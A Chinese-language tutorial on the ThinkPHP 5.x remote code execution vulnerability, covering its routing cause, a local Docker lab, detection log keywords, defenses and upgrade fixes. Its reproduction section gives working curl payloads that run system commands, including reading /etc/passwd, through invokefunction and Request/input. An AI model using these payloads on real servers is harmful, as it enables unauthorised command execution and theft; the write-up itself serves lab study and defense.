写在前面:合法学习边界
本文复现只在本机靶场进行。ThinkPHP 漏洞利用影响真实业务,禁止对非授权目标使用。请先搭建隔离环境。
一、漏洞原理
ThinkPHP 5.x 默认支持“魔术路由”,允许通过 URL 直接调用类方法。攻击者利用这一点,把 URL 参数构造成函数回调链。
核心原理:
1
2
3
| 1. 路由解析:?s=/index/\think\app/invokefunction
2. 触发调用:invokefunction → call_user_func_array
3. 参数可控:vars 参数里传函数名和参数
|
漏洞本质:框架默认路由把不可信输入变成了函数调用链,属于典型的“输入进入执行流程”。
影响版本:
1
2
| ThinkPHP 5.0.x(5.0.23 及之前)
ThinkPHP 5.1.x(部分版本)
|
二、漏洞影响与危害
无需登录、无需认证,直接通过 GET 请求执行系统命令:
1
2
3
4
| 服务器命令执行(RCE)
读取/篡改源码与配置文件
反弹 Shell、植入后门
横向打内网
|
风险等级:严重。ThinkPHP 在国内使用量极大,是实战中命中率最高的框架漏洞之一。
三、漏洞利用 / 复现
环境准备
1
| docker run -d -p 8081:80 --name tp5 medicean/vulapps:t_thinkphp_5.0.23
|
访问 http://127.0.0.1:8081/ 确认页面正常。
5.0.23 利用
1
| curl -g 'http://127.0.0.1:8081/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'
|
返回结果里能看到 uid=www-data 之类输出,说明命令已执行。
换命令:
1
2
| vars[0]=system&vars[1][]=whoami
vars[0]=system&vars[1][]=cat /etc/passwd
|
5.1.x 利用
1
| curl -g 'http://127.0.0.1:8081/index.php?s=index/\think\Request/input&filter[]=system&data=id'
|
5.1.x 通常需要开启 debug 才有回显,但命令已执行,可用 DNSLog 或写入文件验证。
四、漏洞检测
1
2
3
4
| 日志中找 /think/、invokefunction、call_user_func_array、filter[] 关键字
找异常的大写类名路径
GET/POST 参数中出现 vars、data、filter 数组
指纹确认 ThinkPHP 版本
|
五、漏洞防御
1
2
3
4
| 关闭 debug,生产环境隐藏错误回显
WAF 拦截 /think/ 与 call_user_func_array
不使用默认魔术路由,显式定义路由
限制请求参数类型与长度
|
六、漏洞修复
1
2
3
4
| 升级到 ThinkPHP 5.1.41+ 或 6.x
升级后回归路由与参数校验
关闭不必要的方法调用能力
对历史代码做一次参数审计
|
修复后用原 payload 复测确认失效。
七、小结
ThinkPHP RCE 代表了“框架默认路由 + 可控参数”这一类问题。渗透时框架版本识别决定利用链;防御端要“升级 + 关闭调试 + 收敛路由”一起做,缺一不可。